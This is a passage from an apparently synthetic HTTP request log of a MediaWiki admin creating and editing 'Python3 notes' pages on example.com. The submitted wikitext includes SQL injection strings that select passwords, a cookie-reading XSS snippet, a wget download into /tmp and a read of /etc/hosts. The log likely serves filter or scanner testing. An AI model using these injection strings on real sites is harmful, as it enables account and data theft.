script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr--\r\n"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3320", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykls0Dipt2ipQMyNX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n3d2253a69b15a92037b2054ed89260316af22677+\\\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX--\r\n"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision6=created; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 286", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=6&text=%3D%3D+Install+%3D%3D%0ARun+python3+and+ls+-la.%0A&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 294", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+python3&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=6&stashedtexthash=d0421394053f14ddb1f57a01b31f24db41037dbe&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2117", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypB0FpyADbvwzBWrz", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200055\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200055\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n6\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n6\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun python3 and ls -la.\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ python3\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n3d2253a69b15a92037b2054ed89260316af22677+\\\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz--\r\n"}
{"method": "GET", "target": "/index.php?title=Python3_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Python3+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=python3&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Python3+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+python3.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.special%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fpython3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListUsers&username=python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=py&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 325", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
